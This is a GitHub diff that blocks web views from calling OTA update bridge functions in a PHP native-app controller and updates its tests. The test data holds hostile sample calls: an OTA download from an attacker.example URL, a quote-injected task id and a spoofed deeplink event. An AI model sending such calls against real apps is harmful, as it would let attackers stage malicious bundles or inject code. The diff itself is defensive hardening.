Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 12 additions & 6 deletions src/Http/Controllers/NativeCallController.php
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,19 @@
class NativeCallController
{
/**
* Bridge functions that the lanes of an app call among themselves and a
* page never does. AsyncTask.Dispatch hands its id to PHP that the async
* lane evaluates, and AsyncTask.Complete posts an event of any name to a
* native screen. Native checks both calls, but an app keeps the native
* project it installed until it reinstalls one, so they stop here too.
* Bridge-function prefixes an app's lanes call among themselves and a web
* view never legitimately does, so they are refused here.
*
* AsyncTask.Dispatch hands its id to PHP that the async lane evaluates, and
* AsyncTask.Complete posts an event of any name to a native screen. Ota.*
* downloads and stages an app update for next-boot apply — from a page it
* would take an attacker-chosen URL and let a web view stage a malicious
* bundle, so OTA is driven from app PHP only (in-process via nativephp_call,
* which does not pass through this controller). Native also checks these,
* but an app keeps the native project it installed until it reinstalls, so
* they stop here too — and this gate ships with the composer package.
*/
protected const INTERNAL_PREFIXES = ['AsyncTask.'];
protected const INTERNAL_PREFIXES = ['AsyncTask.', 'Ota.'];

public function __invoke(Request $request)
{
Expand Down
5 changes: 4 additions & 1 deletion tests/Feature/Http/NativeCallControllerTest.php
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
FakeBridge::disable();
});

it('refuses a page a bridge function of the async lane', function (array $call) {
it('refuses a page an internal bridge function (async lane, OTA)', function (array $call) {
$bridge = FakeBridge::enable()->respondTo($call['method'], ['success' => true]);

$this->postJson('/_native/api/call', $call)
Expand All @@ -17,6 +17,9 @@
})->with([
'a dispatch with a quote in its id' => [['method' => 'AsyncTask.Dispatch', 'params' => ['id' => "it's"]]],
'a completion under a name of its own' => [['method' => 'AsyncTask.Complete', 'params' => ['event' => '__deeplink', 'payload' => ['uri' => '/anywhere']]]],
'an OTA download from an attacker URL' => [['method' => 'Ota.Download', 'params' => ['url' => 'https://attacker.example/evil.zip', 'sha256' => 'deadbeef']]],
'an OTA apply' => [['method' => 'Ota.Apply', 'params' => []]],
'an OTA rollback' => [['method' => 'Ota.Rollback', 'params' => []]],
]);

it('still passes a page any other bridge function', function () {
Expand Down
Loading